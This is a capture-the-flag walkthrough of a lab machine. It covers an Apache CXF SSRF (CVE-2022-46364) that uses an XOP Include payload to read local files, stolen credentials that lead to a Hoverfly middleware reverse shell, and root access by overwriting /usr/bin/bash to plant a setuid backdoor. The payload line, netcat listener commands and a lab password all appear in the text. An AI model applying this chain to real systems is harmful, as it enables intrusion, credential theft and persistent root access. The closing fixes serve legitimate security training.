Reconnaissance — Scanning the Target
First, we scan the target machine — to find out which ports are open and what services are running on them. We use the Nmap tool for this. Think of it as taking an "X-ray" of the machine.
First, we run the nmap command against the target machine. The -sV flag detects service versions and the -sC flag runs default scripts.
After scanning, we found these 6 open ports. Each port is running a different service:
Port 8080 is running an Apache CXF SOAP service — a Java-based web service framework. Ports 8500 and 8888 are running Hoverfly, an API simulation tool. All three ports can serve as our attack entry points.
Vulnerability Discovery
First, we explored the SOAP service running on port 8080. Opening http://devarea.htb:8080/employeeservice?wsdl in a browser gives us the WSDL file — an XML file that describes which functions are available in this service.
WSDL (Web Services Description Language) is an XML-based file that acts as the "menu card" for a SOAP web service. It lists which operations the service supports, what input is required, and what output to expect. For a hacker, this is a goldmine — it tells you exactly how to interact with the service.
In the WSDL, we found a function — submitReport:
Research revealed that this service is running Apache CXF version 3.2.14, which is affected by a known vulnerability — CVE-2022-46364.
This is an SSRF (Server-Side Request Forgery) vulnerability. It means we can make the server read local files or communicate with internal services on our behalf. This is done by abusing the MTOM/XOP Include feature — by inserting a special XML tag in the SOAP request that tells the server to "include the content of this file."
Imagine a shop assistant (server). Normally they only process orders from outside. With SSRF, you tell them: "Hey, go to the back room, grab a file from the safe, and bring its contents to me." The assistant goes, reads the file, and sends you the content. You've effectively turned the server into your proxy to do your bidding.
We crafted a malicious SOAP request using MTOM/XOP Include to attempt reading a local file from the server. First, we read /etc/passwd to confirm the vulnerability works.
<xop:Include href="file:///etc/passwd"/> — This is the most critical line. It tells the server: "Put the data from this local file into the content field." The server blindly obeys and returns the contents of /etc/passwd in the response. We can now read any file on the system!
Now that we have SSRF — we can read sensitive files from the server. We read the Hoverfly service file:
The response contained the credentials:
Hardcoding credentials in a service file is a major security risk. Ideally, credentials should be stored in environment variables or a secrets manager (like HashiCorp Vault). In this case, an attacker read the file via SSRF and gained admin access.
Initial Access — User Flag
Now we need to gain admin access to Hoverfly. The Hoverfly admin API runs on port 8888. We log in first to obtain a JWT Token:
A JWT (JSON Web Token) is a kind of "digital pass." When you log in, the server gives you a token. You include this token in every subsequent request — the server sees it and says "yes, this person is authorized" and processes the request. Think of it like a cinema ticket — buy it once, show it every time you want to enter.
The response contains our JWT token:
Hoverfly has a feature called Middleware. This feature allows custom code to run before processing API requests. We will abuse this to set up a reverse shell.
In normal SSH, you connect to the server. With a reverse shell, the server connects to you. This is used when the server is behind a firewall — you tell the server "connect back to my machine" and then you can control its terminal. Essentially, the server sends its shell to you.
Now we need to do 2 things: (1) Put Hoverfly into synthesize mode so the middleware executes, and (2) trigger a request via SSRF that routes through the Hoverfly proxy.
Start a listener on your machine to receive the incoming connection:
nc -lvnp 4444
SSRF Trigger
Request proxied
Python3 reverse shell
Privilege Escalation — Root Flag
Right now we are the dev_ryan user — with limited permissions. We need to become root — meaning full control of the system. To do this, we need to find a vulnerability or misconfiguration that leads us to root.
First — check what we can run with sudo:
sudo (Super User Do) is a Linux command that temporarily grants you root (admin) privileges for a specific command. NOPASSWD means it won't even ask for a password — it will run directly as root! This is a major misconfiguration.
SysWatch also has a web interface. Let's check its config file:
Another config file with a plaintext password readable by any user. This file should have been chmod 600 and accessible only by root.
Now comes the cleverest part. When the syswatch.sh script runs via sudo, it internally executes bash commands — meaning it uses /usr/bin/bash.
The idea: If we replace /usr/bin/bash with our malicious script, then when sudo syswatch.sh runs, it will execute our script as root!
1. Backup: First, copy the real bash to a safe location
2. Payload: Create a script that copies the root flag and creates a setuid binary
3. Replace: Overwrite /usr/bin/bash with our payload
4. Trigger: Run sudo syswatch.sh --version — it runs as root and executes our payload
5. Profit: Root flag obtained + persistent root access via setuid binary
Normally when you run a program, it runs with your user permissions. When the SetUID bit is set on a binary (chmod +s), the binary runs with the permissions of whoever owns it. If the owner is root, then any user who runs it — it executes as root. This is the best method for a persistent backdoor.
This attack requires 3 terminals. This is because we need to kill all bash processes before replacing /usr/bin/bash, and for that we need a dash shell (which doesn't depend on bash).
HTTP Server
python3 -m http.server 80Bash Shell (Port 4444)
nc -lvnp 4444Dash Shell (Port 9002)
nc -lvnp 9002In Terminal 2 (Bash shell):
In Terminal 3 (Dash shell) — this is the crucial step:
Our payload also created a setuid root bash — we can become root at any time:
Exploitation Timeline
Total Time: ~80 minutes
Vulnerabilities & Lessons Learned
Apache CXF SSRF
CVE-2022-46364 — Local file read via MTOM/XOP Include. Fix: Update CXF to version 3.4.6+.
Hoverfly Middleware RCE
Arbitrary code execution via middleware. Fix: Restrict middleware access, authenticate the API.
Sudo Misconfiguration
NOPASSWD allowed running the script as root. Fix: Restrict specific arguments, require a password.
Bash Binary Replacement
Root RCE by replacing /usr/bin/bash. Fix: Protect system binaries using chattr +i.
1. Chain Exploitation: Small vulnerabilities were combined to form a major attack — SSRF gave credentials, credentials gave RCE, RCE gave user access, and sudo misconfiguration gave root.
2. Hardcoded Credentials: Both locations (Hoverfly service file and syswatch.env) had credentials in plaintext — never store credentials in config files.
3. Defense in Depth: A single security layer is not enough — multiple layers are required. Without SSRF there would be no credentials; without unrestricted middleware there would be no RCE.
4. System Binary Protection: Critical binaries like /usr/bin/bash should be made immutable using chattr +i to prevent replacement.
5. Monitoring: Monitoring sudo usage, binary modifications, and unusual network connections would have detected this attack.
Complete Attack Map
Kali Linux / Parrot OS
6 open ports discovered
CVE-2022-46364
admin : O7IJ27MyyXiU
Login with stolen creds
Trigger via SSRF → Proxy → Execute
cat user.txt → USER_FLAG
/etc/syswatch.env → more creds
/usr/bin/bash → payload.sh
Triggers payload as ROOT
+ SetUID rootbash for persistence
